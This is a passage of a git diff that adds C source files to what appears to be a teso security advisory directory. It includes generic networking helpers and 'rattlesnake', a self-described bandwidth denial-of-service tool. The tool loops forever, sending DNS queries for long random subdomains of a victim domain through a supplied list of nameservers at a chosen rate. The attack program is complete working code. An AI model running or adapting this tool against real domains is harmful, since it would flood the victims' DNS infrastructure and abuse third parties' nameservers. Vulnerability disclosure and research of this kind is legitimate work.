| 178 | { | ||
| 179 | close (bf->bs); | ||
| 180 | free (bf); | ||
| 181 | |||
| 182 | return; | ||
| 183 | } | ||
| 184 | |||
| 185 | |||
| 186 | bound * | ||
| 187 | net_bind (char *ip, unsigned short int port) | ||
| 188 | { | ||
| 189 | bound *b; | ||
| 190 | int br, gsnr, lr; | ||
| 191 | int len, reusetmp; | ||
| 192 | struct sockaddr_in *sap; | ||
| 193 | |||
| 194 | if (port >= 65536) | ||
| 195 | return (NULL); | ||
| 196 | |||
| 197 | b = xcalloc (1, sizeof (bound)); | ||
| 198 | b->bs = socket (AF_INET, SOCK_STREAM, 0); | ||
| 199 | if (b->bs == -1) | ||
| 200 | goto berror; | ||
| 201 | |||
| 202 | reusetmp = 1; | ||
| 203 | #ifdef SO_REUSEPORT | ||
| 204 | if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1) | ||
| 205 | goto berror; | ||
| 206 | #else | ||
| 207 | if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1) | ||
| 208 | goto berror; | ||
| 209 | #endif | ||
| 210 | |||
| 211 | sap = (struct sockaddr_in *) &b->bsa; | ||
| 212 | sap->sin_family = AF_INET; | ||
| 213 | sap->sin_port = htons (port); /* 0 = ephemeral */ | ||
| 214 | |||
| 215 | if (ip != NULL) { | ||
| 216 | if (strcmp (ip, "*") == 0) { | ||
| 217 | sap->sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 218 | } else { | ||
| 219 | if (!(sap->sin_addr.s_addr = net_resolve (ip))) { | ||
| 220 | goto berror; | ||
| 221 | } | ||
| 222 | } | ||
| 223 | } else { | ||
| 224 | sap->sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 225 | } | ||
| 226 | |||
| 227 | br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr)); | ||
| 228 | if (br == -1) | ||
| 229 | goto berror; | ||
| 230 | |||
| 231 | len = sizeof (struct sockaddr); | ||
| 232 | gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len); | ||
| 233 | b->port = ntohs (sap->sin_port); | ||
| 234 | if (gsnr == -1) | ||
| 235 | goto berror; | ||
| 236 | |||
| 237 | lr = listen (b->bs, 16); | ||
| 238 | if (lr == -1) { | ||
| 239 | goto berror; | ||
| 240 | } | ||
| 241 | return (b); | ||
| 242 | |||
| 243 | berror: | ||
| 244 | free (b); | ||
| 245 | |||
| 246 | return(NULL); | ||
| 247 | } | ||
| 248 | |||
| 249 | |||
| 250 | int | ||
| 251 | net_parseip (char *inp, char **ip, unsigned short int *port) | ||
| 252 | { | ||
| 253 | int n; | ||
| 254 | |||
| 255 | if (inp == NULL) | ||
| 256 | return (0); | ||
| 257 | if (strchr (inp, ':') == NULL) | ||
| 258 | return (0); | ||
| 259 | |||
| 260 | *ip = calloc (1, 256); | ||
| 261 | if (*ip == NULL) | ||
| 262 | return (0); | ||
| 263 | |||
| 264 | n = sscanf (inp, "%[^:]:%hu", *ip, port); | ||
| 265 | if (n != 2) | ||
| 266 | return (0); | ||
| 267 | |||
| 268 | *ip = realloc (*ip, strlen (*ip) + 1); | ||
| 269 | if (*ip == NULL || (*port < 1 || *port > 65535)) | ||
| 270 | return (0); | ||
| 271 | |||
| 272 | return (1); | ||
| 273 | } | ||
| 274 | |||
| 275 | |||
| 276 | char * | ||
| 277 | net_getlocalip (void) | ||
| 278 | { | ||
| 279 | struct sockaddr_in pf; | ||
| 280 | char name[255]; | ||
| 281 | |||
| 282 | memset (name, '\0', sizeof (name)); | ||
| 283 | |||
| 284 | if (gethostname (name, sizeof (name) - 1) == -1) { | ||
| 285 | return (NULL); | ||
| 286 | } | ||
| 287 | |||
| 288 | pf.sin_addr.s_addr = net_resolve (name); | ||
| 289 | |||
| 290 | return (strdup (inet_ntoa (pf.sin_addr)));; | ||
| 291 | } | ||
| 292 | |||
| 293 | |||
| 294 | /* partly based on resolv routine from ? | ||
| 295 | */ | ||
| 296 | |||
| 297 | unsigned long int | ||
| 298 | net_resolve (char *host) | ||
| 299 | { | ||
| 300 | long i; | ||
| 301 | struct hostent *he; | ||
| 302 | |||
| 303 | if (host == NULL) | ||
| 304 | return (htonl (INADDR_ANY)); | ||
| 305 | |||
| 306 | if (strcmp (host, "*") == 0) | ||
| 307 | return (htonl (INADDR_ANY)); | ||
| 308 | |||
| 309 | i = inet_addr (host); | ||
| 310 | if (i == -1) { | ||
| 311 | he = gethostbyname (host); | ||
| 312 | if (he == NULL) { | ||
| 313 | return (0); | ||
| 314 | } else { | ||
| 315 | return (*(unsigned long *) he->h_addr); | ||
| 316 | } | ||
| 317 | } | ||
| 318 | return (i); | ||
| 319 | } | ||
| 320 | |||
| 321 | |||
| 322 | int | ||
| 323 | net_printipr (struct in_addr *ia, char *str, size_t len) | ||
| 324 | { | ||
| 325 | unsigned char *ipp; | ||
| 326 | |||
| 327 | ipp = (unsigned char *) &ia->s_addr; | ||
| 328 | snprintf (str, len - 1, "%d.%d.%d.%d", ipp[3], ipp[2], ipp[1], ipp[0]); | ||
| 329 | |||
| 330 | return (0); | ||
| 331 | } | ||
| 332 | |||
| 333 | |||
| 334 | int | ||
| 335 | net_printip (struct in_addr *ia, char *str, size_t len) | ||
| 336 | { | ||
| 337 | unsigned char *ipp; | ||
| 338 | |||
| 339 | ipp = (unsigned char *) &ia->s_addr; | ||
| 340 | snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 341 | |||
| 342 | return (0); | ||
| 343 | } | ||
| 344 | |||
| 345 | |||
| 346 | int | ||
| 347 | net_printipa (struct in_addr *ia, char **str) | ||
| 348 | { | ||
| 349 | unsigned char *ipp; | ||
| 350 | |||
| 351 | ipp = (unsigned char *) &ia->s_addr; | ||
| 352 | *str = calloc (1, 256); | ||
| 353 | if (*str == NULL) | ||
| 354 | return (1); | ||
| 355 | |||
| 356 | snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 357 | *str = realloc (*str, strlen (*str) + 1); | ||
| 358 | |||
| 359 | return ((*str == NULL) ? 1 : 0); | ||
| 360 | } | ||
| 361 | |||
| 362 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/network.h b/advisories/teso-advisory-003/namesnake/src/network.h new file mode 100644 index 0000000..97054f4 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/network.h | |||
| @@ -0,0 +1,135 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * by scut | ||
| 4 | */ | ||
| 5 | |||
| 6 | #ifndef _FNX_NETWORK_H | ||
| 7 | #define _FNX_NETWORK_H | ||
| 8 | |||
| 9 | #include <sys/socket.h> | ||
| 10 | #include <net/if.h> | ||
| 11 | #include <netinet/in.h> | ||
| 12 | #include <stdio.h> | ||
| 13 | |||
| 14 | |||
| 15 | typedef struct bound { | ||
| 16 | int bs; /* bound socket */ | ||
| 17 | unsigned short port; /* port we bound to */ | ||
| 18 | struct sockaddr bsa; /* bs_in */ | ||
| 19 | } bound; | ||
| 20 | |||
| 21 | |||
| 22 | /* net_connect | ||
| 23 | * | ||
| 24 | * connect to the given `server' and `port' with a max timeout of `sec'. | ||
| 25 | * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any | ||
| 26 | * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname. | ||
| 27 | * create a new socket and return either -1 if failed or | ||
| 28 | * the connected socket if connection has been established within the | ||
| 29 | * timeout limit. | ||
| 30 | * | ||
| 31 | * the routine is still IPv4 biased :-/ | ||
| 32 | * | ||
| 33 | * return -1 on failure | ||
| 34 | * return socket if success | ||
| 35 | */ | ||
| 36 | |||
| 37 | int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, | ||
| 38 | int sec); | ||
| 39 | |||
| 40 | |||
| 41 | /* net_accept | ||
| 42 | * | ||
| 43 | * accept a connection from socket s, and stores the connection | ||
| 44 | * into cs. | ||
| 45 | * wait a maximum amount of maxsec seconds for connections | ||
| 46 | * maxsec can also be zero (infinite wait, until connection) | ||
| 47 | * | ||
| 48 | * return 0 if no connection has been made within maxsec seconds | ||
| 49 | * return -1 if an error appears | ||
| 50 | * return the socket number if a connection has been made | ||
| 51 | */ | ||
| 52 | |||
| 53 | int net_accept (int s, struct sockaddr_in *cs, int maxsec); | ||
| 54 | |||
| 55 | |||
| 56 | /* net_bind | ||
| 57 | * | ||
| 58 | * bind a socket to an ip:port on the local machine, | ||
| 59 | * `ip' can be either NULL (bind to all IP's on the host), or a pointer | ||
| 60 | * to a virtual host name, or a real IP, or "*" for any. | ||
| 61 | * `port' can be either 0 (ephemeral port), or any free port. | ||
| 62 | * | ||
| 63 | * return NULL on failure | ||
| 64 | * return pointer to bound structure on success | ||
| 65 | */ | ||
| 66 | |||
| 67 | bound *net_bind (char *ip, unsigned short int port); | ||
| 68 | |||
| 69 | |||
| 70 | /* net_boundfree | ||
| 71 | * | ||
| 72 | * free the bound structure pointed to by `bf' | ||
| 73 | * | ||
| 74 | * return in any case | ||
| 75 | */ | ||
| 76 | |||
| 77 | void net_boundfree (bound *bf); | ||
| 78 | |||
| 79 | |||
| 80 | /* net_parseip | ||
| 81 | * | ||
| 82 | * read an ip in the format "1.1.1.1:299" or "blabla:481" into | ||
| 83 | * the char pointer *ip and into the port *port | ||
| 84 | * | ||
| 85 | * return 0 on failure | ||
| 86 | * return 1 on success | ||
| 87 | */ | ||
| 88 | |||
| 89 | int net_parseip (char *inp, char **ip, unsigned short int *port); | ||
| 90 | |||
| 91 | |||
| 92 | /* net_getlocalip | ||
| 93 | * | ||
| 94 | * give back the main IP of the local machine | ||
| 95 | * | ||
| 96 | * return the local IP address as string on success | ||
| 97 | * return NULL on failure | ||
| 98 | */ | ||
| 99 | |||
| 100 | char *net_getlocalip (void); | ||
| 101 | |||
| 102 | |||
| 103 | /* net_resolve | ||
| 104 | * | ||
| 105 | * resolve a hostname pointed to by `host' into a s_addr return value | ||
| 106 | * | ||
| 107 | * return the correct formatted `s_addr' for this host on success | ||
| 108 | * return 0 on failure | ||
| 109 | */ | ||
| 110 | |||
| 111 | unsigned long int net_resolve (char *host); | ||
| 112 | |||
| 113 | |||
| 114 | /* net_printip | ||
| 115 | * | ||
| 116 | * print an IP address stored in the struct in_addr pointed to by `ia' to a | ||
| 117 | * string `str' with a maximum length of `len'. | ||
| 118 | * | ||
| 119 | * return 0 on success | ||
| 120 | *Üreturn 1 on failure | ||
| 121 | * | ||
| 122 | * net_printipa behaves the same way, except it allocates memory and let | ||
| 123 | * `*str' point to the string | ||
| 124 | * | ||
| 125 | * net_printipr behaves like net_printip, except the IP is printed in | ||
| 126 | * reverse quad dotted order (dns labels) | ||
| 127 | */ | ||
| 128 | |||
| 129 | int net_printip (struct in_addr *ia, char *str, size_t len); | ||
| 130 | int net_printipa (struct in_addr *ia, char **str); | ||
| 131 | int net_printipr (struct in_addr *ia, char *str, size_t len); | ||
| 132 | |||
| 133 | |||
| 134 | #endif | ||
| 135 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/rattlesnake.c b/advisories/teso-advisory-003/namesnake/src/rattlesnake.c new file mode 100644 index 0000000..944b74c --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/rattlesnake.c | |||
| @@ -0,0 +1,157 @@ | |||
| 1 | /* rattlesnake - bandwidth denial of service attack | ||
| 2 | * | ||
| 3 | * by scut of teso | ||
| 4 | * (discovered by me too, see teso-i0006.txt) | ||
| 5 | * | ||
| 6 | * main file | ||
| 7 | */ | ||
| 8 | |||
| 9 | #define VERSION "0.0.2" | ||
| 10 | #define AUTHORS "scut of teso" | ||
| 11 | |||
| 12 | #include <sys/types.h> | ||
| 13 | #include <netinet/in.h> | ||
| 14 | #include <time.h> | ||
| 15 | #include <stdlib.h> | ||
| 16 | #include <stdio.h> | ||
| 17 | #include "common.h" | ||
| 18 | #include "network.h" | ||
| 19 | #include "dns-build.h" | ||
| 20 | #include "dns.h" | ||
| 21 | #include "io-udp.h" | ||
| 22 | |||
| 23 | |||
| 24 | int usage (char *program); | ||
| 25 | int rattle (char *domain_victim); | ||
| 26 | |||
| 27 | char * ns_domain; | ||
| 28 | char * ip_local = NULL; | ||
| 29 | int ns_count, | ||
| 30 | ns_walker = 0; | ||
| 31 | char ** ns_list = NULL; | ||
| 32 | int speed; | ||
| 33 | int sd_len = 340; | ||
| 34 | |||
| 35 | |||
| 36 | int | ||
| 37 | usage (char *program) | ||
| 38 | { | ||
| 39 | printf ("usage: %s <ns-list> <victim-domain> <bandwidth> [sdlen]\n\n" | ||
| 40 | "ns-list file with a nameserver list\n" | ||
| 41 | "victim-domain the domain that references to our victim ip\n" | ||
| 42 | "bandwidth bandwidth in kbps that we should utilize, the higher the lamer\n" | ||
| 43 | "sdlen subdomain length as in <sdlen>.<victim-domain>\n" | ||
| 44 | " default is 340 (1-400 makes sense)\n\n", | ||
| 45 | program); | ||
| 46 | |||
| 47 | exit (EXIT_FAILURE); | ||
| 48 | } | ||
| 49 | |||
| 50 | |||
| 51 | int | ||
| 52 | main (int argc, char **argv) | ||
| 53 | { | ||
| 54 | printf ("rattlesnake "VERSION" by "AUTHORS"\n\n"); | ||
| 55 | |||
| 56 | if (argc < 4 || argc > 5) | ||
| 57 | usage (argv[0]); | ||
| 58 | if (argc == 5 && sscanf (argv[4], "%d", &sd_len) != 1) | ||
| 59 | usage (argv[0]); | ||
| 60 | |||
| 61 | |||
| 62 | ip_local = net_getlocalip (); | ||
| 63 | |||
| 64 | ns_list = file_read (argv[1]); | ||
| 65 | if (ns_list == NULL) { | ||
| 66 | fprintf (stderr, "failed to open nameserver list file %s\n", argv[1]); | ||
| 67 | exit (EXIT_FAILURE); | ||
| 68 | } | ||
| 69 | for (ns_count = 0 ; ns_list[ns_count] != NULL ; ++ns_count) | ||
| 70 | ; | ||
| 71 | if (ns_count == 0) { | ||
| 72 | fprintf (stderr, "come on boy, you must at least supply one nameserver\n"); | ||
| 73 | exit (EXIT_FAILURE); | ||
| 74 | } | ||
| 75 | |||
| 76 | if (sscanf (argv[3], "%d", &speed) != 1) | ||
| 77 | usage (argv[0]); | ||
| 78 | |||
| 79 | printf ("[ns] querying below %s through the help of %d nameservers at %d kbps\n", | ||
| 80 | argv[2], ns_count, speed); | ||
| 81 | printf ("===============================================================================\n"); | ||
| 82 | |||
| 83 | srandom (time (NULL)); | ||
| 84 | |||
| 85 | rattle (argv[2]); | ||
| 86 | |||
| 87 | exit (EXIT_SUCCESS); | ||
| 88 | } | ||
| 89 | |||
| 90 | |||
| 91 | int | ||
| 92 | rattle (char *domain_victim) | ||
| 93 | { | ||
| 94 | dns_pdata * dp; | ||
| 95 | char * querydomain; | ||
| 96 | char * querydomain2; | ||
| 97 | struct timeval tv_start; | ||
| 98 | unsigned long long int size_send = 0; | ||
| 99 | |||
| 100 | gettimeofday (&tv_start, NULL); | ||
| 101 | |||
| 102 | while (1) { | ||
| 103 | unsigned long long int sleeptime; | ||
| 104 | struct timeval tv_now; | ||
| 105 | |||
| 106 | /* construct query domain, slow | ||
| 107 | */ | ||
| 108 | dp = dns_build_new (); | ||
| 109 | querydomain = dns_build_random (domain_victim, 32); | ||
| 110 | while (strlen (querydomain) < sd_len) { | ||
| 111 | querydomain2 = dns_build_random (querydomain, 32); | ||
| 112 | free (querydomain); | ||
| 113 | querydomain = querydomain2; | ||
| 114 | } | ||
| 115 | |||
| 116 | /* now build DNS packet | ||
| 117 | */ | ||
| 118 | dns_build_q (dp, querydomain, T_A, C_IN); | ||
| 119 | dns_packet_send (ip_local, ns_list[ns_walker], m_random (1024, 65535), 53, | ||
| 120 | m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp); | ||
| 121 | dns_build_destroy (dp); | ||
| 122 | |||
| 123 | size_send += strlen (querydomain) + sizeof (ip_hdr) + | ||
| 124 | sizeof (udp_hdr) + sizeof (dns_hdr); | ||
| 125 | free (querydomain); | ||
| 126 | |||
| 127 | /* eye candy | ||
| 128 | */ | ||
| 129 | printf ("."); | ||
| 130 | fflush (stdout); | ||
| 131 | |||
| 132 | /* next server | ||
| 133 | */ | ||
| 134 | ns_walker++; | ||
| 135 | ns_walker %= ns_count; | ||
| 136 | |||
| 137 | /* if you get fucked up here it's because you've packeted too | ||
| 138 | * much, so bugger off and don't be a wussy | ||
| 139 | */ | ||
| 140 | do { | ||
| 141 | /* some people might think now that a sleeptime approach | ||
| 142 | * is better here, but in this case a mixture of polling | ||
| 143 | * and time calculation is better for equal spreading of | ||
| 144 | * the packets being send | ||
| 145 | */ | ||
| 146 | usleep (5000); /* don't poll too fast */ | ||
| 147 | gettimeofday (&tv_now, NULL); | ||
| 148 | sleeptime = tv_now.tv_sec - tv_start.tv_sec; | ||
| 149 | sleeptime *= 1000000; | ||
| 150 | sleeptime += ((tv_now.tv_usec + 1000000) - tv_start.tv_usec) % 1000000; | ||
| 151 | } while (((sleeptime * speed) / 7812) < size_send); | ||
| 152 | } | ||
| 153 | |||
| 154 | return (1); | ||
| 155 | } | ||
| 156 | |||
| 157 | |||
